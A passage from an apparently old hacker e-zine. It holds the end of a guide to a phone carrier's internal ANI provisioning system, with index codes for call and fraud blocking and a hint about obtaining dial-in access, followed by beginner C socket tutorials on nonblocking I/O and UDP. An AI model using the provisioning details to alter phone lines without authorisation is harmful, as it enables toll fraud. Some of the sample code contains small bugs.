  868.    *   Options are 00 through 15, 21, or 40. For a listing of the options 
  869.        and what they represent, you can select PF 5 once you've reached 
  870.        this field. 
  871.  
  872.    7. VPAC Index: 3 digit numeric. 
  873.    *   For our purposes, this will always be 00, unless 
  874.        updating a Telcom USA ANI. For a valid listing of the 
  875.        options and what they represent, you can select PF 5. 
  876.  
  877.    8. Reason Code: 3 character alphanumeric. 
  878.    *   This indicates why the change is being made. For a complete listing 
  879.        of valid reason codes, you can hit PF 6 once you reach this field. 
  880.  
  881.    9. Block Length: 23 digit numeric.
  882.    *   For our purposes, we will leave it blank.
  883.        However, the options are 30, 60, 90, and 120, which indicate 
  884.        how long, in number of days, a block will be in place 
  885.        (autodelete function). 
  886.  
  887. Once all required information is entered, be sure that the "Transmit 
  888. Shipment Indicator" is "Y". Then hit Enter and the information will 
  889. disappear, which indicates it's been sent to CommShip for processing. 
  890.  
  891.  
  892. RULES AND GUIDELINES
  893. --------------------
  894.  
  895.      Up to twelve (12) ANIs can be entered at one time from this screen. 
  896.  
  897.      If the ANI entered does not currently exist in AADS, it will be written 
  898.      to the ANI Database. 
  899.  
  900.      If the ANI entered already exists in AADS, it will be written to the ANI 
  901.      Database, and the previous ANI Database value will be written to the ANI 
  902.      History Database. 
  903.  
  904.      The user cannot add an ANI that requires a Data Switch (i.e. SW56 ANI) if 
  905.      the ANI's NPA/NXX is not associated with a data switch in the AADS 
  906.      NPA/NXX table. 
  907.  
  908.      If the user chooses to SHIP the transaction (a "Y" in the Transmit 
  909.      Shipment Field), a shipment is created and transmitted to CommSHIP upon 
  910.      completion of the transaction. 
  911.  
  912.      If the user chooses not to SHIP the transaction (an "N" in the Transmit 
  913.      Shipment field), a pending ANI record will be written to the ANI table. 
  914.      The current ANI record will remain on the ANI table also. 
  915.  
  916.      Only one pending record is allowed at one time for an ANI. 
  917.  
  918.      The existence of a pending ANI record does not block the user from 
  919.      completing future transactions against that ANI. 
  920.  
  921.      All data errors identified by AADS will be highlighted. An error message 
  922.      will be displayed for the first error encountered. 
  923.  
  924.      A transaction cannot be completed until all errors are resolved. 
  925.  
  926.      A confirmation message is presented after the user completes the data 
  927.      entry and presses enter. The user must press enter again to confirm the 
  928.      transaction or press the Abort PF key to cancel the transaction. 
  929.  
  930.      After the transaction is processed, a completion message is displayed on 
  931.      the message line and the screen is cleared for further data entry. 
  932.  
  933.    1. ANI Inquire 
  934.    *   This screen allows you to review an ANI's current status in AADS and 
  935.        its associated switches. If a shipment has not completed, the 
  936.        associated switch will be displayed twice; once with the pending 
  937.        shipment record, and again with the previous ANI transaction shipment 
  938.        data that is currently loaded into the switch. 
  939.    *   If notes had been entered, you can view them by selecting PF9. 
  940.    *   Only active ANIs can be reviewed via the ANI Inquire transaction. 
  941.  
  942.    2. ANI Update 
  943.    *   This Screen allows you to review and modify existing ANI 
  944.        information in AADS. 
  945.    *   We would only use this function if a download 
  946.        was performed in error. This would permit for the 
  947.        correction to be made. 
  948.  
  949.    3. ANI History Inquire 
  950.    *   This screen allows the user to review current and 
  951.        historical ANI information in AADS. 
  952.    *   The active ANI record and all previous ANI transactions 
  953.        data for the past 180 days is available for review on this screen. 
  954.  
  955. OTHER INFORMATION
  956. ~~~~~~~~~~~~~~~~~
  957.  
  958.    The purpose of AADS is to make changes to an ANI index. An ANI index is a
  959.    set of instructions for the originating switch which processes a call. 
  960.  
  961.    When a switched customer places a call, the local telco takes the 
  962.    originating ANI and determines what long distance carrier to send the 
  963.    call to.
  964.  
  965.    Our switch then looks at the ANI index of the ORIGINATING number and 
  966.    depending upon what that index is, determines how the switch proceeds 
  967.    with terminating the call. 
  968.  
  969.    If an ANI has a 00 index, this means there are no restrictions of any 
  970.    kind and the switch will send the call to it's terminating destination. 
  971.  
  972.    If an ANI has an index 10, which means this is a VNET or VISION ANI, the 
  973.    switch will then query the DAP which, at that point, is responsible for 
  974.    initiating any features (i.e. verifies the range privilege, account codes,
  975.    10-digit exclusion, etc.) 
  976.  
  977.    An ANI index of 08 would indicate that this is a Dial-1 ANI with 2-digit 
  978.    accounting codes. Since Dial-1 is switched base and not DAP based, the 
  979.    switch sends the code prompt and does the verifying unlike VNET where 
  980.    this process is done in the DAP. 
  981.  
  982.    However, there are a few things to keep in mind:
  983.  
  984.    AADS allows you to make changes and check to see if the changes you made 
  985.    have completed. It will NOT allow you to check the ANI index on an ANI 
  986.    that has not had a change made to it in the last months. 
  987.  
  988.       THE ONLY SURE WAY TO KNOW WHAT THE INDEX IS OF AN ANI 
  989.                IS TO GO DIRECTLY INTO THE SWITCH. 
  990.  
  991.    Before making any changes in AADS to an index other than 00, you must 
  992.    verify that the ANI is in OCIS and has been active for at least 72 hours. 
  993.  
  994.    WHY? When an account is installed in OCIS or an ANI is activated or 
  995.    deactivated on an OCIS account, the information downloads into NOPS (New 
  996.    Order Processing System). NOPS then downloads into AADS and the 
  997.    appropriate switches with the proper indexing information based on the 
  998.    changes made in OCIS. (i.e. When a VNET account is installed in OCIS, the
  999.    information is sent to NOPS which says "make the ANIs on this account an 
  1000.    index 10.") When a VNET account is deactivated, the reverse happens. OCIS 
  1001.    tells NOPS to tell the switch that the ANIs should be 00. 
  1002.  
  1003.    The reason that the ANIs must be installed in OCIS for 72 hours is 
  1004.    because it takes 24 hours for this information to download from OCIS to 
  1005.    NOPS, then up to an additional 48 hours to complete from NOPS to the 
  1006.    switches. 
  1007.  
  1008.    If an index is incorrect (usually because there is a glitch in the above 
  1009.    system), and the ANI has not had any changes to it in OCIS in 72 hours, 
  1010.    then you go ahead and download the ANI into AADS with the correct index. 
  1011.    The completion will take up to 24 hours. 
  1012.  
  1013.    Do NOT do another download if one is already in place. What this does is 
  1014.    requires the switch to do twice as much work which creates a backlog and 
  1015.    longer completion times. 
  1016.  
  1017.      Below is a list of ANI Index's
  1018.  
  1019.   0          1+                                                            
  1020.  
  1021.   1          Prison                                                        
  1022.  
  1023.   2          Priority Customer                                             
  1024.  
  1025.   3          Dial-1 Switched 56                                            
  1026.  
  1027.   5          North America Public Access                                   
  1028.  
  1029.   6          900 Blocking                                                  
  1030.  
  1031.   7          900 Blocking w/2-Digit Accounting Codes                       
  1032.  
  1033.   8          1+ w/2-Digit Accounting Codes                                 
  1034.  
  1035. 10           VNET                                                          
  1036.  
  1037. 11           1+ w/4-Digit Account Codes                                    
  1038.  
  1039. 12           Universal Public Access                                       
  1040.  
  1041. 13           Operator Service Blocking                                     
  1042.  
  1043. 14           1+ w/3-Digit Accounting Codes                                 
  1044.  
  1045. 15           Call Blocking (usually by Fraud or Credit & Collections)      
  1046.  
  1047. 21           1+ w/4-Digit Accounting Codes                                 
  1048.  
  1049. 30           IAOS Operator Services                                        
  1050.  
  1051. 40           VNET/Vision Switched 56                                       
  1052.  
  1053. If you havent found any of these through scanning or trashing, I might post 
  1054. the dial-ins. If the crowd roars loud enough!
  1055.  
  1056. Have phun.
  1057.  
  1058.  
  1059.  
  1060.  
  1061.  
  1062. +EOT+
  1063.  
  1064.  
  1065.  
  1066.  
  1067.  
  1068.  
  1069. Using O_NONBLOCK
  1070. ~~~~~~~~~~~~~~~~
  1071.     -by Ryan Graciano (tiepilot@city-net.com)
  1072.  
  1073.     By now I assume that you are familiar with the concept of blocking.
  1074. If not, or if you have forgotten what blocking is, here is a refresher.  
  1075. Whenever you call read(), write(), connect(), or similar functions, 
  1076. you must wait until the operation is completed for the function to return.
  1077. These functions are said to be blocking functions, because they block
  1078. the program's normal operation until they return.  Although this makes 
  1079. things smoother overall, and easier to manage, sometimes we just do not have 
  1080. the time to wait for every single accept() to return.  For example, if we are 
  1081. writing a daemon that does not fork() a child process to handle connection 
  1082. requests, we can only pay attention to accept() for a short period of time,
  1083. and then we must check on our clients to see if they need the program's
  1084. attention.
  1085.  
  1086.     To do this, we set a socket to nonblocking by calling fcntl(), as
  1087. in this example:
  1088.     
  1089.     fcntl(sock, F_SETFL, O_NONBLOCK);
  1090.  
  1091.     If you are not familiar with fcntl(), here is what is happening 
  1092. there- sock is an integer that was assigned a value through a socket() or 
  1093. open() call, because any descriptor will work.  F_SETFL is the fcntl() 
  1094. command we are issuing.  Its purpose is to set the flags on a file descriptor,
  1095. and you guessed it, O_NONBLOCK is the flag that we are setting.  Incidentally, 
  1096. O_NDELAY is interchangeable with O_NONBLOCK in some implementations.
  1097. Also, you will want to check for an fcntl() error when you call it.  If
  1098. fcntl() returns a value less than 0, then something went wrong (perhaps
  1099. you passed it a descriptor that was closed previously, or never 
  1100. initialized).
  1101.     
  1102.     Well, terrific.  Now we have a socket that does not block.  But
  1103. what do we do with it?  Well, this new, spiffy, nonblocking socket should
  1104. perform as any other would, with a minor exception.  Normally, you are
  1105. going to call read() and accept() and expect a result.  But in this case,
  1106. if no data is available to be read, read() will return an error: EAGAIN.
  1107. This error is to inform you that there was no data available to be read
  1108. at the time you called it.  accept(), in turn, will give you EWOULDBLOCK
  1109. as an error (EWOULDBLOCK and EAGAIN are actually equal values).  Although 
  1110. a write() will appear to work and be finished, in actuality, it could still 
  1111. be trying to write whatever data you passed it.  If there was no room left to 
  1112. write the data, it will give you EAGAIN.  Some calls will give you
  1113. EINPROGRESS, such as connect(), indicating that the operation is underway.
  1114. It's also possible to receive EALREADY, indicating that the call is still
  1115. working on what you asked it to do.
  1116.  
  1117.     Let's take a look at a simple TCP server that blocks, so that we may 
  1118. contrast it with a later example of one that does not.
  1119.  
  1120.  
  1121.  
  1122. /* tcpblock.c                    *
  1123.  * Written as a short example    *
  1124.  * for "I/O Magazine."           *
  1125.  * Connect to PORT and type "hi" *
  1126.  *  - tiepilot@city-net.com      */
  1127. #include <stdio.h>
  1128. #include <sys/types.h>
  1129. #include <sys/socket.h>
  1130. #include <netinet/in.h>
  1131.  
  1132. #define PORT 12345
  1133. #define REPLY "Hello, world.\n"
  1134.  
  1135. int main(int argc, char **argv) { 
  1136.   int sock, csock;
  1137.   struct sockaddr_in server, client;  
  1138.   char buf[1028];
  1139.  
  1140.   if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  1141.     printf("Rats, socket() failed\n");
  1142.     exit(-1);
  1143.   }
  1144.  
  1145.   server.sin_family = AF_INET;
  1146.   server.sin_addr.s_addr = htonl(INADDR_ANY);
  1147.   server.sin_port = htons(PORT);
  1148.  
  1149.   if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) {
  1150.     printf("Rats, couldn't bind to port %d.\n",PORT);
  1151.     exit(-1);
  1152.   }
  1153.  
  1154.   listen(sock, 5);
  1155.   for(;;) {
  1156.     if((csock = accept(sock, (struct sockaddr *)&client, (int *)sizeof(client))) < 0) {
  1157.       printf("Rats, accept() failed. That'll ruin your day.\n");
  1158.       exit(-1);
  1159.     }
  1160.  
  1161.     if((recv(csock, (void *)buf, sizeof(buf), 0)) < 0) {
  1162.       printf("Rats, recv() didn't work.\n");
  1163.       exit(-1);
  1164.     }
  1165.  
  1166.     if((buf[0] == 'h') && (buf[1] == 'i')) {
  1167.       if((send(csock, (void *)REPLY, sizeof(REPLY), 0)) < 0) {
  1168.         printf("Boy I hate it when send() fails!\n");
  1169.         exit(-1);
  1170.       }
  1171.     } 
  1172.     close(csock);
  1173.   }
  1174. }
  1175.  
  1176.     What does this server do right now? Well, it sits in an infinite loop,
  1177. serving one connection at a time, and then closing it. Without fork()ing a
  1178. child process, it would be a serious pain to handle multiple connections this
  1179. way.  In fact, it would be entirely unworkable.  Try it yourself- have 2
  1180. telnet clients connect. Type "hi" in the second one, and leave it running.
  1181. Nothing happens, yet.  First, you must type "hi" in the first one, so the
  1182. daemon can finish with that client.  Then you will see a response in the
  1183. second client.  Just ctrl-c or kill tcpblock to stop it.
  1184.  
  1185.     Obviously, this is not a feasible way to run a server.  As seen in
  1186. my article from I/O #1, "IPC in the Unix Environment," the server can dodge
  1187. the blocking problem by fork()ing a new instance of the server proc for
  1188. every client that connects.  That way, each client has its own, personal
  1189. little server that only has the single client to worry about.  Meanwhile,
  1190. the parent will not have to worry about the client at all, as it will just
  1191. keep accepting connections and fork()ing new processes.
  1192.  
  1193.     However, there are alternatives to this fork()ing method, such as
  1194. nonblocking sockets.  With nonblocking sockets, we will be able to handle
  1195. more than one client at once.  However, a lot of structural changes will
  1196. be made to our program.  First of all, we will have more than one descriptor
  1197. to keep track of now.  Instead of only taking care of csock in the loop,
  1198. we will monitor an array of sockets.  By now, you're probably wondering how
  1199. this works.  An individual read() on each socket would be tedious to
  1200. implement.  So what do we do?
  1201.  
  1202.     Fortunately, we have been given select() to take care of this little
  1203. conundrum for us.  select() will watch a set of descriptors until they are
  1204. ready for reading or writing, or until they have an exception.  Note that
  1205. you choose which descriptors select() monitors for which event- you must
  1206. tell select() that these particular descriptors should be watched until 
  1207. they are reading for reading, or writing, and so on.  Thus, just because
  1208. select() is watching for an exception, does not mean a return is implied
  1209. when the socket is ready for reading.
  1210.  
  1211.     I think it is time to take a look at select()'s prototype as
  1212. specified by the manpage- 
  1213.  
  1214.       int  select(int  n,  fd_set  *readfds,  fd_set  *writefds,  
  1215.                    fd_set *exceptfds, struct timeval *timeout);
  1216.  
  1217.     Hey, wait a minute... he snuck a new typedef in there!  Yes, I did,
  1218. but it had to be done.  If you have not guessed it yet, the fd_set* is a 
  1219. pointer to the set of file descriptors we will be passing to select().
  1220. And with the new fd_set come a few functions (well, technically they are
  1221. just compiler macros) we will have to familiarize ourselves with:
  1222.  
  1223.     FD_SET(int fd, fd_set *set);
  1224.     FD_CLR(int fd, fd_set *set);
  1225.     FD_ZERO(fd_set *set);
  1226.         FD_ISSET(int fd, fd_set *set);
  1227.  
  1228.     Our first macro, FD_SET, will add a descriptor to a set that we
  1229. have been building.  For example, if we have an array of sockets that
  1230. we would like to be in an fd_set:
  1231.  
  1232.   fd_set sockset;
  1233.   int socks[10];
  1234. /* A little code opening the sockets in socks[] goes here */
  1235.   for(i=0;i<10;i++)
  1236.     FD_SET(socks[i], &sockset);
  1237.  
  1238.     Our second macro, FD_CLR, will remove a particular descriptor
  1239. that we already added to the set:
  1240.  
  1241. /* We want to drop the 6th socket from the set */
  1242.   FD_CLR(socks[5], &sockset);
  1243.  
  1244.     No problem.  Our third macro, FD_ZERO, will just completely wipe
  1245. an entire set of all descriptors in it.  Finally, our last macro, 
  1246. FD_ISSET, will tell us if a particular descriptor is in the set.
  1247. Now, let's take another look at that select() prototype:
  1248.  
  1249.         int  select(int  n,  fd_set  *readfds,  fd_set  *writefds,
  1250.                    fd_set *exceptfds, struct timeval *timeout);
  1251.  
  1252.     The n is an integer reflecting the highest numbered descriptor, plus
  1253. one, in any of the sets.  It is customary to use FD_SETSIZE as the first
  1254. argument to select(), although it can be changed.  The pointer to a timeval
  1255. structure, *timeout, will determine how long select() waits for the specified
  1256. event to happen.  
  1257.  
  1258.     It is important to keep in mind that select() modifies the arguments
  1259. you give it.  If only one of the descriptors in *readfs is available for
  1260. reading when select() exits, only that one descriptor will be left in the set.
  1261. The other descriptors in the set will be removed.  A use for FD_ISSET is now
  1262. plain- through it, we will learn which descriptors made the cut, and which
  1263. descriptors were removed from the set.
  1264.  
  1265.     Note that select() will return the number of descriptors that
  1266. matched in the given time period specified by *timeout.  Thus, we should
  1267. not bother with FD_ISSET if select() returns 0.
  1268.  
  1269.     Now let's take a look at our "Hello, world" server again.  Only
  1270. this time, we will implement nonblocking sockets, and enable our server to
  1271. handle 7 clients at a time (an arbitrary number. I like 7, don't you?)
  1272.  
  1273. /* tcpnonblock.c                 *
  1274.  * Written as a short example    *
  1275.  * for "I/O Magazine."           *
  1276.  * Connect to PORT and type "hi" *
  1277.  *  - tiepilot@city-net.com      */
  1278. #include <stdio.h>
  1279. #include <sys/types.h>
  1280. #include <sys/socket.h>
  1281. #include <netinet/in.h>
  1282. #include <sys/time.h>
  1283. #include <unistd.h>
  1284. #include <string.h>
  1285. #include <fcntl.h>
  1286. #include <errno.h>
  1287.  
  1288. #define PORT 12345
  1289. #define REPLY "Hello, world.\n"
  1290. #define CLINUM 7
  1291.  
  1292. struct clistruct {
  1293.   int csock;
  1294.   struct sockaddr_in client;
  1295. };
  1296. /* Since we'll need CLINUM sockets and CLINUM      *
  1297.  * sockaddr structures, we'll just make ourselves  *
  1298.  * an array of structures containing what we need. */
  1299.  
  1300. int main(int argc, char **argv) {
  1301.   int sock, i, incoming, ret;
  1302.   struct sockaddr_in server, caddr;
  1303.   struct clistruct clients[CLINUM];
  1304.   struct timeval tv;
  1305.   char buf[1028];
  1306.   fd_set rdfs;
  1307.  
  1308.   tv.tv_sec=3; /* 3 seconds for select() seems reasonable. */
  1309.   tv.tv_usec=0; /* We don't need this kind of precision. */
  1310.  
  1311.   if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  1312.     printf("Rats, socket() failed\n");
  1313.     exit(-1);
  1314.   }
  1315.  
  1316.   if((fcntl(sock, F_SETFL, O_NONBLOCK)) < 0) {
  1317.     printf("Rats, fcntl() failed. That's no fun.\n");
  1318.     exit(-1);
  1319.   }
  1320.  
  1321.   server.sin_family = AF_INET;
  1322.   server.sin_addr.s_addr = htonl(INADDR_ANY);
  1323.   server.sin_port = htons(PORT);
  1324.  
  1325.   if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) {
  1326.     printf("Rats, couldn't bind to port %d.\n",PORT);
  1327.     exit(-1);
  1328.   }
  1329.  
  1330.   for(i=0;i<CLINUM;i++)
  1331.     clients[i].csock = -1;
  1332.  
  1333.   listen(sock, CLINUM);
  1334.   for(;;) {
  1335.     FD_ZERO(&rdfs);
  1336.     /* Clear the set on every iteration. */
  1337.     for(i=0;i<CLINUM;i++) {
  1338.       if(clients[i].csock > -1)
  1339.         FD_SET(clients[i].csock, &rdfs);
  1340.     /* If this socket is open, add it to the set to watch. */
  1341.     }
  1342.  
  1343.     ret=sizeof(incoming);
  1344.     if((incoming=accept(sock, (struct sockaddr *)&caddr, &ret)) < 0) {
  1345.       if(errno != EAGAIN) {
  1346.         printf("Rats, accept() failed. I guess we're denying today.\n");
  1347.         exit(-1);
  1348.       }
  1349.     }
  1350.     /* Check for new connections. */
  1351.     if(incoming > -1) {
  1352.       for(i=0;clients[i].csock > -1;i++);
  1353.       /* This is going to find a socket we have free for them. */
  1354.  
  1355.       if(clients[i].csock > -1) {
  1356.         send(incoming,(void *)"All connections are taken.\n",sizeof("All connections are taken.\n"),0);
  1357.         close(incoming);
  1358.       }
  1359.       /* Unused structures will have their csock element == -1   *
  1360.        * If we don't have any unused structures, we can't add    *
  1361.        * any new clients. Incidentally, you'd want to use a      *
  1362.        * linked list that would grow with the number of clients. */
  1363.     
  1364.       if(clients[i].csock == -1) {
  1365.         clients[i].csock=incoming;
  1366.         /* We found a spot for the incoming          *
  1367.          * connection, and we're giving it a struct. */
  1368.  
  1369.         bcopy((void *)&caddr,(void *)&clients[i].client,sizeof(caddr));
  1370.         /* We don't have to do this, but you'll probably *
  1371.          * need it for any real server program, to       *
  1372.          * determine the host name and similar things.   */
  1373.  
  1374.          FD_SET(clients[i].csock, &rdfs);
  1375.         /* Now that this socket is open, add it  *
  1376.          * to the list that select() will watch. */    
  1377.       }
  1378.     }
  1379.  
  1380.     if(select(FD_SETSIZE, &rdfs, NULL, NULL, &tv)) {
  1381.       for(i=0;i<CLINUM;i++) {
  1382.         if(clients[i].csock > -1) {
  1383.         /* If this is a valid connection... */
  1384.           if(FD_ISSET(clients[i].csock, &rdfs)) {
  1385.           /* Remember that it will only be set if       *
  1386.            * it is one of the descriptors that select() *
  1387.            * observed to be ready for reading.          */
  1388.         bzero((void *)buf, sizeof(buf));
  1389.         if((ret=recv(clients[i].csock,(void *)buf,sizeof(buf), 0)) > 0) {
  1390.               /* Let's recv! Woo! */
  1391.               if((buf[0] == 'h') && (buf[1] == 'i')) {
  1392.                 if((send(clients[i].csock,(void *)REPLY,sizeof(REPLY), 0)) < 0) {
  1393.                   printf("Boy I hate it when send() fails!\n");
  1394.                   exit(-1);
  1395.                 }
  1396.               }
  1397.           close(clients[i].csock);
  1398.               clients[i].csock = -1;
  1399.               bzero((void *)&clients[i].client, sizeof(clients[i].client));
  1400.               /* If you'll remember, our program    *
  1401.                * will just disconnect you if you    *
  1402.                * do not greet it with "hi." If you  *
  1403.                * do greet it, it will still drop    * 
  1404.                * you, but with some familiar words. */
  1405.             }
  1406.             if(ret < 0) {
  1407.               if(errno != EAGAIN) {
  1408.                 printf("Rats, I hate it when recv fails!\n");
  1409.                 exit(-1);
  1410.               }
  1411.             }
  1412.           }
  1413.         }
  1414.       }
  1415.     }
  1416.   }
  1417. }
  1418.  
  1419.     Well, the nonblocking version was obviously a little longer :) 145
  1420. lines, compared to 58 lines for the blocking version.  However, run it and
  1421. notice the differences.  Now, the server will accept connections in what
  1422. appears to the user as a simultaneous manner, and it will handle the
  1423. connections all at once.  In actuality, it is still handling connections
  1424. linearly, but now it can pass over time consuming operations.  It will leave 
  1425. a socket open until it receives something from it... if it does not receive 
  1426. what it wants right away, it concerns itself with its other clients, and does 
  1427. not look back at the first client until it is sure there is something there 
  1428. to look at.
  1429.  
  1430.     Let's look back and step through what is written.  You will
  1431. immediately notice the added headers- select(), along with the various
  1432. macros related to fd_set, in addition to errors such as EAGAIN, all 
  1433. require seperate headers.  For a reference to each function's required
  1434. headers, consult their respective manpages.  Most of what we will outline
  1435. here can be found in section 2 of the Linux Programmer's Manual (with the
  1436. exceptions of the string.h functions, ie bzero(3) and bcopy(3)).
  1437.  
  1438.     You will notice that in this version, we had to institute a method
  1439. for storing client information.  To do this, we setup an array of CLINUM
  1440. structures (CLINUM being our maximum number of clients).  Each structure
  1441. contains an integer (the socket), and a sockaddr_in structure (in case
  1442. we need to look back and find the host associated with that client).
  1443.  
  1444.     Moving along, we specify the time select() will wait in lines 36
  1445. and 37.  Our fcntl() call is on line 44, and is identical to what we
  1446. outlined above.
  1447.  
  1448.     On line 58, we clear our array of structures, setting each
  1449. integer csock (which will later be used for a socket) to equal -1.  This
  1450. way, we can tell if a particular structure is used by checking the csock
  1451. value for -1.  If the value is greater than -1, that structure is in use
  1452. by a client.
  1453.  
  1454.     Finally we reach the program's main loop.  First off, we will
  1455. clear our fd_set structure (rdfs) on every iteration, so we can start off
  1456. with a clean slate.  We will then rebuild rdfs in lines 65-69, taking
  1457. into account any new or any lost connections.  Basically, if we closed
  1458. a connection to a client, we set it to -1, and if it is not -1, then it
  1459. should be added to rdfs.
  1460.  
  1461.     After we rebuild rdfs, we will call accept() and look for any
  1462. incoming connections that may be pending.  If we do indeed have an incoming
  1463. connection, we will look through the array clients[] for one that is unused
  1464. (keeping in mind that an unused structure will have the csock value at -1).
  1465. If we do not have a free slot for the client, we close its connection and
  1466. mosey along.  If we do have a spot open for the incoming client, we will
  1467. set:
  1468.      clients[i].csock=incoming;
  1469.  
  1470. Doing this will make csock the socket, and we can discard incoming (do not
  1471. close it, of course, because it still holds the descriptor's value! If you
  1472. want to discard it safely, just do "incoming = -1;".)  Now that
  1473. clients[i].csock has a value > -1, it is in use, and we will set its
  1474. corresponding sockaddr_in value by bcopy()-ing caddr to clients[i].client.
  1475. Since we just received this client, and we know it is active, we will
  1476. immediately add it to the fd_set, so that it is watched for reading the
  1477. next time select() is called (which will be shortly).
  1478.  
  1479.     From here, we finally hit the select() call (we have reached line
  1480. 108 now), which is identical to what we outlined above.  After select()
  1481. returns, we will look for the descriptors that select() found to be ready
  1482. for reading by using FD_ISSET.  If a descriptor is set, then we are free
  1483. to call recv() on it, and since our program only looks for one word (or,
  1484. really, anything starting with that word. "high" will also be matched.
  1485. This is trivial to fix.) then it will either respond to that word, or
  1486. close the connection.  Upon closing the connection (lines 125-127), we will
  1487. close() the socket, and mark the structure so that it is unused.  Yes, you
  1488. guessed it- we will set csock to -1, and clear client (the sockaddr_in
  1489. structure) by calling our good friend bzero().
  1490.  
  1491.     Well, I hope this overview of nonblocking sockets has been helpful
  1492. to you.  Out of all the various programming questions I run into, it
  1493. seems I get more nonblocking questions than any, so I thought an article
  1494. might serve some beginning network programmers well.  However, I am
  1495. getting a little ahead of myself, as ramdac's Socket Programming Lesson
  1496. has not quite reached TCP sockets yet.  Hopefully you have been able to
  1497. follow along regardless, and if you are still a bit mystified, you might
  1498. want to keep this article around until you have a stronger hold on plain
  1499. old blocking TCP sockets.  I personally learned most of this through
  1500. the ever trusty manual pages, and I would advise those of you who are getting 
  1501. started to make use of this invaluable resource.  Experimentation will help 
  1502. you get the fine points down... if you have a question on something, write
  1503. a few lines of code, setup a test environment, and see what happens.
  1504. Good luck. :)
  1505.  
  1506.  
  1507.  
  1508.  
  1509.  
  1510. +EOT+
  1511.  
  1512.  
  1513.  
  1514.  
  1515.  
  1516. Socket Programming Lesson (SPL) Part 2
  1517. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1518.     -by ramdac (delta@codenode.org)
  1519.  
  1520. ----------------------------------------------------------------------
  1521. Socket Programming Lesson (SPL) TWO [Basics, UDP]               ramdac
  1522. ----------------------------------------------------------------------
  1523. 0.0 Lesson Two
  1524. 1.0 Planning It Out
  1525. 1.1    Resolution
  1526. 1.2    Creation and Connection
  1527. 1.3    Action
  1528. 1.4    Termination
  1529. 2.0 Conclusion
  1530. 3.0 ESC
  1531.  
  1532.  
  1533. 0.0 Lesson Two
  1534. --------------
  1535. Now begins the fun. Lesson two takes you from creation to completion
  1536. of the most basic, fully functional, program to use sockets and the
  1537. UDP protocol. Since these lessons are now published in I/O Magazine,
  1538. the ESC (Example Source Code) for this and all following lessons
  1539. will be appended to the end of each lesson. I suggest you snip the
  1540. ESC off the end of this file and put it in its own file (sp2_esc.c)
  1541. because I refer to line numbers relative to the start of the code,
  1542. _not_ this entire document. This lesson starts out in section 1.0 by
  1543. going over a common attack plan for planning and implementing our
  1544. programs. Future lessons will jump right into the fun(ner) stuff.
  1545.  
  1546.  
  1547. 1.0 Planning It Out
  1548. -------------------
  1549. One can not build a house without blueprints, and one can not (easily)
  1550. create a program without a goal, and a logical set of steps to reach
  1551. that goal. For our first program, our goal is (very simply) to send
  1552. a message to another host's echo port/daemon, and wait for, and
  1553. recieve that exact message back, using the UDP protocol. This feat
  1554. requires a few steps which are common to all the programs we'll be
  1555. making. These steps are: resolution (figuring out who we're going to
  1556. be talking to), creation and connection, (getting ready to and
  1557. actually connecting to the remote host), action, (doing what we need
  1558. to), and termination (cleaning it all up). I'm going to skip over
  1559. talking about why we #include what we do, though I encourage you to
  1560. look at each included header you don't recognize.
  1561.  
  1562.  
  1563. 1.1 Resolution
  1564. --------------
  1565. First we resolve the destination host's address by calling our
  1566. resolve() function (line 45). Since the resolve() function will be
  1567. with us all the time, I'll briefly describe what it does. The formal
  1568. prototype of this function is:
  1569.    unsigned long resolve(char *);
  1570. resolve()'s first and only argument should be the address we're trying
  1571. to resolve. resolve() attempts to resolve this address, and upon
  1572. success it returns the address in unsigned long format. Upon error, it
  1573. returns 0 (zero).
  1574.  
  1575. Let's go inside resolve() now. First we define two variables: hent, 
  1576. and retval. hent is a hostent structure that is used as the place
  1577. for gethostbyname(3)'s return value. gethostbyname(3) takes one
  1578. parameter, the address to resolve, and on success, it fills out
  1579. all sorts of information in hent, only one of which we need,
  1580. hent->h_addr. So we call gethostbyname(3) with hent as its return
  1581. value (line 125), and if hent is not equal to zero (line 126)
  1582. then we cast retval to a character pointer and copy the value of
  1583. hent->h_addr to it (line 129). hent->h_addr in netdb.h (one of our
  1584. included headers) is really defined as:
  1585.    #define h_addr  h_addr_list[0]  /* address, for backward compatiblity */
  1586. so that is why we have to cast retval.
  1587.  
  1588. Back to line 45 again, we call resolve() and pass it argv[1] which
  1589. should be the hostname/address of the host we want to talk/connect to.
  1590. The return value is given to dest_address, and then, given dest_address
  1591. is not equal to zero, ina.s_addr is also given the value of
  1592. dest_address which is then used in line 56 to print that address
  1593. in dot.dot format using inet_ntoa(3).
  1594.  
  1595.  
  1596. 1.2 Creation and Connection
  1597. ---------------------------
  1598. First we start out on line 59 by calling socket(2). socket(2) is the
  1599. function one uses to create a socket, evidently. socket(2) returns,
  1600. on success, the referencing number of the socket descriptor, or -1
  1601. on error. The formal prototype of socket(2) is:
  1602.    int socket(int domain, int type, int protocol);
  1603. The first parameter to socket(2) is the protocol family the socket will
  1604. be using. For our purposes, this is AF_INET, for Internet protocols.
  1605. You can look at the socket(2) manpage for more families. The second
  1606. parameter, type, is the type of socket we're creating. Right now
  1607. we're creating a SOCK_DGRAM type socket which is used for datagram-
  1608. oriented, unreliable, connectionless connections/protocols. The UDP
  1609. in other words. In future lessons we'll be creating SOCK_STREAM
  1610. type sockets which is, easily put, used with TCP. The final 
  1611. argument to socket(2), protocol, is the protocol to be used with
  1612. the socket. For us it's just zero, for the IP. We could use
  1613. IPPROTO_UDP, but we're not. If you want you can play around with
  1614. the getprotoent(3) function and its friends.
  1615.  
  1616. Back to line 59. We create a datagram-oriented (UDP) socket that uses
  1617. the family of Internet protocols (UDP is an Internet protocol) and
  1618. on success, the return value, the referencing number of the socket
  1619. descriptor, is given to our variable s. If s is less than zero (line
  1620. 60) then an error has occurred and we exit.
  1621.  
  1622. On line 66 we zero out our sockaddr_in structure, sin. We do this now
  1623. before our dealings with bind(2) because bind(2) uses sin, and local
  1624. variables aren't zeroed out so sin could contain some random trash
  1625. values that would make bind(2) barf. Speaking of bind(2), line 69.
  1626. Disregarding the if() statement in which our call to bind(2) is
  1627. hidden in, we get the function call that creates a port for ourselves
  1628. and binds our previously made socket to it. Here is the formal
  1629. prototype for bind(2):
  1630.    int bind(int sockfd, struct sockaddr *my_addr, int addrlen);
  1631. The first parameter, sockfd, which stands for socket file descriptor,
  1632. is the socket of which to bind the port to. For us, this is our 
